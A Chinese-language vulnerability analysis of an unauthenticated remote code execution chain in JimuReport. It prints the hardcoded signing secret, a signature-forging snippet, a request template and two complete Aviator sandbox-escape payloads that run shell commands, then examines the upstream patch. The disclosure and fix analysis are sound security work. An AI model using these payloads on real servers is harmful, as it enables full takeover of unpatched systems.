JimuReport 未授权 RCE:硬编码签名与 Aviator 沙箱逃逸

硬编码的 MD5 密钥,加上没有覆盖 getter 路径的语言级沙箱,组合出默认配置下的未授权 RCE。

workbench

Intro

JimuReport 这条Pre-Auth RCE 链路由两个缺陷叠加而成:

  1. 自动导出接口 /jmreport/auto/export/python/plugin 的签名密钥硬编码在 jar 里,X-Sign 可伪造。
  2. JimuReport 给 Aviator 做了沙箱,但 5.2.6 的 getter 路径没有类白名单校验:可以先拿到 Feature.StaticMethods 加回白名单,再把 functionMissing 改成反射兜底,最终用 Runtime.exec 执行命令。
项目 内容
编号 QVD-2026-61751
类型 未授权 RCE(签名伪造 + 表达式沙箱逃逸)
影响版本 JimuReport 2.5.1;2.5.2 的关键类字节码与 2.5.1 完全一致,starter POM 仍锁 aviator.version=5.2.6
依赖版本 Aviator < 5.4.0(JimuReport 打包的是 5.2.6);5.4.0 起才在 getter 路径上校验类白名单,且默认配置下 5.4.4 仍可利用
所需权限 无需认证,默认配置
入口 POST /jmreport/auto/export/python/plugin
注入点 报表参数值以 = 开头,被当作 Aviator 表达式求值
影响 以应用进程权限执行任意命令,完全控制服务器

第一步:伪造 X-Sign 绕过认证

接口 /jmreport/auto/export/python/plugin 上打了 @JimuSignature,由 JimuReportSignatureInterceptor 做校验(该类在未开源的 starter jar 里)。核心逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class JimuReportSignatureInterceptor implements HandlerInterceptor {
public static final String X_SIGN = "X-Sign";
public static final String X_TIMESTAMP = "X-TIMESTAMP";
private static final String PRINT_PLUGIN_SIGN_SECRET =
"6fea20a1940df21797d89f09c9111d56c1fe1fcfbe41a121";
private static final long MAX_EXPIRE = 300L;

public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
// ...
Long clientTimestamp = Long.parseLong(xTimeStamp);
if (System.currentTimeMillis() - clientTimestamp > 300000L) {
this.error(response, "签名验证失败:X-TIMESTAMP已过期");
return false;
}

if (requestUri.endsWith("/auto/export/python/plugin")) {
String body = requestWrapper.getBody();
String signValue = DigestUtils.md5DigestAsHex(
(body + PRINT_PLUGIN_SIGN_SECRET).getBytes("UTF-8")).toUpperCase();
if (!signValue.equals(headerSign)) {
this.error(response, "签名校验失败,参数有误!");
return false;
}
return true;
}
// ...
}
}

三个致命点:

  • 密钥硬编码在 jar 里。6fea20a1940df21797d89f09c9111d56c1fe1fcfbe41a121 是编译进产物的常量,攻击者从安装包里就能提取,从零构造合法签名。
  • 签名只覆盖 body。X-Sign = MD5(body + secret).toUpperCase(),X-TIMESTAMP 不参与计算。
  • 时间戳只防过期、不防未来。判断是 now - ts > 300000,只拒绝超过 5 分钟的请求;把时间戳设成未来反而能拿到更长的重放窗口。

伪造过程非常直接:

1
2
3
4
def sign(body: str) -> str:
return hashlib.md5((body + SECRET).encode("utf-8")).hexdigest().upper()

ts = str(int(time.time() * 1000)) # 当前毫秒时间戳

重放时只需要把 X-TIMESTAMP 换成当前时间,X-Sign 保持不变(因为 body 没变)。

进入导出流程后,报表参数如果以 = 开头,就会被当作 Aviator 表达式求值。请求体形如:

1
2
3
4
5
6
7
8
9
10
{
"reportParams": [
{
"id": "891612623430320128",
"params": { "sex": "=<aviator expression>" },
"exportType": "PDF"
}
],
"exportType": "PDF"
}

sex 是官方示例数据预置的参数,默认部署就有。它是这条 demo 报表数据集 s1 声明的参数(底层查 rep_demo_dxtj 表,SQL 里按 sex 过滤),exportType: PDF 触发导出流程,从而走到表达式求值。

第二步:Aviator 沙箱逃逸到 RCE

JimuReport 并不是裸用 Aviator,它在 ExpressUtil 里做了裁剪:

1
2
3
4
5
6
7
8
9
10
public static void a(AviatorEvaluatorInstance engine) {
HashSet features = new HashSet(Feature.getFullFeatures());
features.remove(Feature.NewInstance);
features.remove(Feature.Use);
features.remove(Feature.Module);
features.remove(Feature.StaticMethods);
features.remove(Feature.StaticFields);
engine.setOption(Options.FEATURE_SET, features);
engine.setOption(Options.ALLOWED_CLASS_SET, Collections.emptySet());
}

预期的沙箱边界是:不允许 new 任意对象(NewInstance)、不允许 use(…) 导入类(Use)、不允许 load / require 模块(Module)、不允许调用静态方法或访问静态字段(StaticMethods / StaticFields)、类名解析白名单为空(ALLOWED_CLASS_SET = emptySet)。注意 Aviator 里 null 表示允许所有类、空集表示禁止所有类,所以这里是取最严的一档,目标是让表达式彻底碰不到 Java 类。

看起来挺严,但 Aviator 的 Feature 并不是 JVM 级的安全机制,而是在特定语法节点上手工插入的检查。Feature 是 Aviator 定义的语言能力枚举:

1
2
3
4
5
public enum Feature {
Assignment, Return, If, ForLoop, WhileLoop, Let, LexicalScope,
Lambda, Fn, InternalVars, Module, ExceptionHandle,
NewInstance, StringInterpolation, Use, StaticFields, StaticMethods;
}

它默认是全开的(Feature.getFullFeatures()),执行时靠两处显式检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// Parser:针对特定语法节点
private void ensureFeatureEnabled(Feature feature) {
if (!this.featureSet.contains(feature)) {
throw new UnsupportedFeatureException(feature);
}
}
private void newStatement() { this.ensureFeatureEnabled(Feature.NewInstance); ... }

// Reflector.fastGetProperty:StaticMethods / StaticFields 的唯一检查点
// 所有「类名.成员」的解析都从这里过,payload 里的 CC.forName、AY.set 也是
val = tryResolveStaticMethod
&& instance.isFeatureEnabled(Feature.StaticMethods)
&& names.length == 2
? Reflector.fastGetProperty(target.innerClazz, rName, PropertyType.StaticMethod)
: ...

问题就在于:普通对象的属性访问走的是 getter 路径,这条路径上没有 Feature 检查,也没有类白名单检查。而 Aviator 又把引擎自身的内部变量暴露了出来:

1
2
3
4
5
6
7
8
9
// Env.get()
if ("__instance__" == key) {
this.instance.ensureFeatureEnabled(Feature.InternalVars);
return this.instance; // AviatorEvaluatorInstance
}
if ("__env__" == key) {
this.instance.ensureFeatureEnabled(Feature.InternalVars);
return this; // Env 自身
}

InternalVars 默认在 features 里,所以表达式可以匿名读取 __instance__ 与 __env__,沙箱的入口就开了。step1 的完整 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
=seq.put(__env__, 'instance', __instance__);
seq.put(__env__, 'env', __env__);
for x in instance.features {
seq.put(instance.funcMap, '_sm', x.declaringClass.enumConstants[16]);
seq.put(instance.funcMap, '_fn', x.declaringClass.enumConstants[8])
};
seq.add(instance.features, seq.get(instance.funcMap, '_sm'));
seq.add(instance.features, seq.get(instance.funcMap, '_fn'));
seq.put(env, 'c', instance.Class);
seq.put(env, 'CC', c.Class);
seq.put(env, 'FM', CC.forName(
'com.googlecode.aviator.runtime.JavaMethodReflectionFunctionMissing'));
seq.put(env, 'RF', CC.forName(
'com.googlecode.aviator.utils.Reflector'));
RF.setProperty(env, 'instance.functionMissing', FM.getInstance())

逐段拆解(ExpressUtil 编译前会替换掉 payload 里所有 =,所以不能用 = 赋值,只能用 seq.put 往 Env 里写变量):

片段 实际语义
__instance__ / __env__ Env.get() 的内部变量,分别返回引擎实例和 Env 自身,只需 InternalVars(默认开)
seq.put(__env__, ‘instance’, __instance__) seq.put 是往 Map 里写键值,而 Env 本身就是 Map;这一行把引擎实例注册成变量 instance,后面就能直接写 instance.features。第二行同理把 Env 注册成 env
instance.features getFeatures(),返回引擎内部活的 Set,不是拷贝
x.declaringClass.enumConstants[16] x.getDeclaringClass().getEnumConstants()[16] 得到 Feature.StaticMethods。纯 getter 链,不受 StaticMethods / StaticFields 约束
seq.put(instance.funcMap, …) 借用引擎公开的 getFuncMap()(也是活的 Map)当草稿纸
seq.add(instance.features, …) 把 StaticMethods 加回引擎白名单
instance.Class 到 c.Class 两次 getClass(),拿到 java.lang.Class 的 Class 对象
CC.forName(…) 静态方法已放行,可以加载任意类
RF.setProperty(env, ‘instance.functionMissing’, FM.getInstance()) 解析到 setFunctionMissing,把引擎的 functionMissing 改成反射兜底实现

对照 Aviator 5.2.6 的 Feature 源码,索引 16 是 StaticMethods,也是本链真正必需的核心。这一步的关键在于 getter 路径:x.declaringClass 走 PropertyType.Getter,实际调用 Enum.getDeclaringClass();拿到 Class 对象后,Aviator 把 target.innerClazz 设成它,而 .enumConstants 在 StaticFields 被禁用的情况下仍会落到 Getter 分支,调用 Class.getEnumConstants()。

这两个都是公开实例方法,不经过 StaticMethods / StaticFields 检查,所以攻击者能直接把白名单里的常量读出来再塞回去。反过来,如果 StaticFields 是开着的,这里会走 StaticField 分支去 Feature 类上找名为 enumConstants 的静态字段,找不到直接返回 null 并抛 NPE,链反而断掉——禁用 StaticFields 恰好把它推到了 getter 分支。

接下来把函数调用变成任意实例方法调用。functionMissing 是 Aviator 引擎上的一个回调字段:当函数名在 funcMap 里找不到时,就交给它兜底。

1
2
3
4
5
6
7
8
9
10
11
12
// AviatorEvaluatorInstance
private FunctionMissing functionMissing;

// RuntimeFunctionDelegator.getFunc()
if (val instanceof AviatorFunction) {
return (AviatorFunction) val;
}
if (this.functionMissing != null) {
return new ConstantFunction(this.name,
this.functionMissing.onFunctionMissing(this.name, env, args));
}
throw new FunctionNotFoundException("Function not found: " + this.name);

而 JavaMethodReflectionFunctionMissing 的实现是:把第一个参数当作 this,其余参数当作方法实参,反射调用同名实例方法。

1
2
3
4
5
6
7
8
9
10
11
public AviatorObject onFunctionMissing(String name, Map<String, Object> env, AviatorObject... args) {
Object firstArg = args[0].getValue(env); // 接收者
Class<?> clazz = firstArg.getClass();
Object[] jArgs = new Object[args.length - 1];
for (int i = 1; i < args.length; ++i) {
jArgs[i - 1] = args[i].getValue(env);
}
return FunctionUtils.wrapReturn(
Reflector.invokeInstanceMethod(clazz, name, firstArg,
Reflector.getInstanceMethods(clazz, name), jArgs));
}

一旦 functionMissing 被写成这个实现,exec(r, arr) 就等于反射调用 r.exec(arr),由此获得任意对象任意公开实例方法的原语。注意 functionMissing 不是 Feature,它走的是 invokeInstanceMethod,整条路径上没有任何 Feature 校验,这是与 StaticMethods 白名单完全独立的一块攻击面。另外,RuntimeFunctionDelegator 在编译表达式时就把 functionMissing 捕获为 final 字段,所以必须先发 step1 污染引擎,再发 step2 编译恶意表达式。

顺带说清一点:r.exec(arr) 这种「对象点实例方法」的写法是走不通的。Aviator 5.2.6 的点号链最后一段固定按 Getter 解析(只认 getXxx / isXxx / 字段),PropertyType 枚举本身只有 Getter / StaticField / StaticMethod 三个值,实例方法根本没有对应分支。实测在默认引擎里 l.add(3)、s.length()、System.out.println(…) 全是 Function not found,只有 getter 形式能用。所以 functionMissing 不是一个更省事的替代写法,而是 5.2.6 下调用任意实例方法的唯一入口。

payload 里的 RT.getRuntime()、AY.set(arr, 0, …) 能用点号,是因为接收者是 Class 对象、名字只有两段,走的是 StaticMethod 分支,跟这条路径不是一回事。

step2 的完整 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
=seq.put(__env__, 'instance', __instance__);
seq.put(__env__, 'env', __env__);
seq.put(env, 'c', instance.Class);
seq.put(env, 'CC', c.Class);
seq.put(env, 'RT', CC.forName('java.lang.Runtime'));
seq.put(env, 'r', RT.getRuntime());
seq.put(env, 'AY', CC.forName('java.lang.reflect.Array'));
seq.put(env, 'SC', CC.forName('java.lang.String'));
seq.put(env, 'arr', AY.newInstance(SC, 3));
AY.set(arr, 0, '/bin/sh');
AY.set(arr, 1, '-c');
AY.set(arr, 2, '<command>');
seq.put(env, 'p', exec(seq.get(env, 'r'), seq.get(env, 'arr')))

关键片段:

  • CC.forName(‘java.lang.Runtime’) 加 RT.getRuntime() 拿到 Runtime 实例,用的是 step1 放行的 StaticMethods
  • CC.forName(‘java.lang.reflect.Array’) 加 AY.newInstance(SC, 3) 造出一个 String[3]
  • AY.set(arr, 0, ‘/bin/sh’) 逐个填元素,填的是 /bin/sh -c command
  • exec(r, arr) 走 functionMissing,最终命中 Runtime.exec(String[])

最后:

1
2
3
RT.getRuntime()                 → Runtime 实例
AY.newInstance(SC, 3) → String[3]
exec(r, arr) → functionMissing → r.exec(arr)

Reflector.invokeMatchingMethod 会在 Runtime 的多个 exec 重载里按参数类型匹配,[String[]] 正好命中 Runtime.exec(String[]),命令随即以应用进程身份执行。

Break & Fix

step1 请求(沙箱逃逸):

step1

step2 请求(命令执行):

step2

marker

Aviator 5.4.0 的 PR #571(fix: check innerClazz while get property,2023-10-03 合并)给这条 getter 路径补上了类白名单校验:把 Env 里原有的检查抽成 AviatorEvaluatorInstance.checkIfClassIsAllowed,再在 Reflector.fastGetProperty 的 target.innerClazz != null 分支加一次调用。

fix-diff

在 Class 对象上取成员时,先校验这个类是否在 ALLOWED_CLASS_SET 里

补丁没有改动 ALLOWED_CLASS_SET 的语义:checkIfClassIsAllowed 里 null 依旧表示放行所有类,只有非 null 的白名单才会拦,所以链断不断取决于宿主怎么配。要注意校验对象是 target.innerClazz,也就是上一段刚解析出来的那个 Class,而不是表达式里的 x:x 只是一个 Feature 实例,x.declaringClass 是普通对象上的 getter,照常通过并返回 Feature.class;紧接着的 .enumConstants 要在这个新拿到的 Class 上取成员,才会撞上白名单。JimuReport 配的是空集,这里直接拒绝,functionMissing 保持 null,链断在第一步:

1
2
3
4
5
6
7
8
// 5.4.4 + ALLOWED_CLASS_SET = emptySet()
x.declaringClass OK -> class com.googlecode.aviator.Feature
x.declaringClass.enumConstants ERR -> class com.googlecode.aviator.Feature is not in allowed class set

[step1] FAIL -> ExpressionRuntimeException: class com.googlecode.aviator.Feature is not in allowed class set, check Options.ALLOWED_CLASS_SET
functionMissing = null
[step2] FAIL -> ExpressionRuntimeException: class com.googlecode.aviator.AviatorEvaluatorInstance is not in allowed class set, check Options.ALLOWED_CLASS_SET
marker = false

反过来,同一份 payload 放到 5.4.4(当前最新发行版,同样带这个补丁)的默认配置(ALLOWED_CLASS_SET = null)下仍然是通的,实测命令照旧落地:

1
2
3
4
aviator = 5.4.4,allowSet = null
[step1] OK
[step2] OK
marker = true